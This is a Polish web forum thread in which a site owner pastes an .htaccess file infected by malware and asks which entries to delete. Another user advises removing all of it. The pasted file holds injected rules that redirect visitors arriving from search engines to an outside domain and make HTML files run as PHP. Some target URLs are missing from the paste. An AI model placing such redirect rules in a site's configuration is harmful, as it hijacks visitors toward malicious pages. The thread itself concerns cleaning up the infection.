eJay [ Quaritch ]
problem z .htaccess
Mam problem, bo przyczepił się do niego jakiś malware-syf. Wszedłem w edycję pliku i mam takie coś:
ErrorDocument 400
ErrorDocument 401
ErrorDocument 403
ErrorDocument 404
ErrorDocument 500
AddType application/x-httpd-php .php .htm .html .phtml
RewriteEngine On
RewriteCond %‹HTTP_REFERER› .*google.* [OR]
RewriteCond %‹HTTP_REFERER› .*ask.* [OR]
RewriteCond %‹HTTP_REFERER› .*yahoo.* [OR]
RewriteCond %‹HTTP_REFERER› .*excite.* [OR]
RewriteCond %‹HTTP_REFERER› .*altavista.* [OR]
RewriteCond %‹HTTP_REFERER› .*msn.* [OR]
RewriteCond %‹HTTP_REFERER› .*netscape.* [OR]
RewriteCond %‹HTTP_REFERER› .*aol.* [OR]
RewriteCond %‹HTTP_REFERER› .*hotbot.* [OR]
RewriteCond %‹HTTP_REFERER› .*goto.* [OR]
RewriteCond %‹HTTP_REFERER› .*infoseek.* [OR]
RewriteCond %‹HTTP_REFERER› .*mamma.* [OR]
RewriteCond %‹HTTP_REFERER› .*alltheweb.* [OR]
RewriteCond %‹HTTP_REFERER› .*lycos.* [OR]
RewriteCond %‹HTTP_REFERER› .*search.* [OR]
RewriteCond %‹HTTP_REFERER› .*metacrawler.* [OR]
RewriteCond %‹HTTP_REFERER› .*bing.* [OR]
RewriteCond %‹HTTP_REFERER› .*dogpile.*
RewriteRule ^(.*)$ [R=301,L]
inker.kz to właśnie ten syf, który blokuje stronę z poziomu google'a (po wpisaniu domeny ręcznie jest ok). Które wpisy usunąć, aby nie naruszyć struktury pliku?
maviozo [ man with a movie camera ]
W zasadzie to wszystko wywal. Pierwsze linijki to kody błędu - jeśli user bądź bot trafia na niestiniejącą stronę, dostaje error 404 - w tym przypadku zostanie wyświetlona strona (jak w każdym innym zresztą, 500 - to przekroczenie czasu wykonywania skryptu)
Pozostałe aktywują w/w stronę w przypadku, jeśli na stronę wchodzi któryś z botów wyszukiwarek.
Wywalaj wszystko jak leci.